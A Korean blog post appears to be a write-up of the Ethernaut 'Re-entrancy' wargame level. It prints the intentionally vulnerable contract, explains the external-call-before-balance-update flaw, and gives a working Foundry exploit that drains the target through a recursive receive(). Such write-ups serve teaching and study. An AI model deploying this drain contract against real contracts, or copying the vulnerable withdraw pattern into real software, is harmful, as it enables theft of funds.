The Ethernaut : Re-entrancy

세인·2025년 12월 4일

Re-entrancy

: 돈을 보내는 쪽 컨트랙트가, 아직 내부 정리를 끝내기 전에 다시 불려 들어오는 상황

문제 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
        //먼저 msg.sender.call{value: _amount}(외부 호출)
        //이 외부 호출이 잔고를 줄이기 전에 일어남으로
        //외부 컨트랙트의 receive()안에 withdraw()를 넣어 반복적으로 호출하면
        //같은 잔고 기록으로 여러번 출금을 뽑아낼 수 있다.
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            //외부 함수 호출 이후 잔고를 줄임
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

로직 정리

  1. attack() 안에서 donate{value: msg.value}(address(this)) 호출해서
    Reentrance에 Attack 컨트랙트 명의로 입금 기록을 만든다.
  2. 바로 이어서 withdraw(msg.value)를 호출해서 첫 출금을 시작한다.
  3. 이 첫 출금 때 ETH를 받으면서 receive()가 호출되고,
    그 안에서 withdraw()를 반복 호출해서 Reentrance 잔고를 계속 빼낸다.
  4. Attack 컨트랙트를 이렇게 0.001 ETH와 함께 호출하면 Re-entrancy 공격 성공.

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;

import {Script, console} from "forge-std/Script.sol";
import {Reentrance} from "../src/Reentrance.sol";

contract Attack {
    Reentrance public bank;

    constructor(address _bankAddress) public {
        bank = Reentrance(payable(_bankAddress));
    }

    function attack() external payable {
        require(msg.value >= 0.001 ether);

        bank.donate{value: msg.value}(address(this));
        bank.withdraw(msg.value);
    }

    receive() external payable {
        uint256 targetBalance = address(bank).balance;
        if (targetBalance > 0) {
            bank.withdraw(msg.value);
        }
    }
}

contract PoC is Script {
    address public target = 0x7183Bc3dC0cA3D46Ee700e152E47032401001173;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);
        

        Attack attack = new Attack(target);
        attack.attack{value: 0.001 ether}();

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글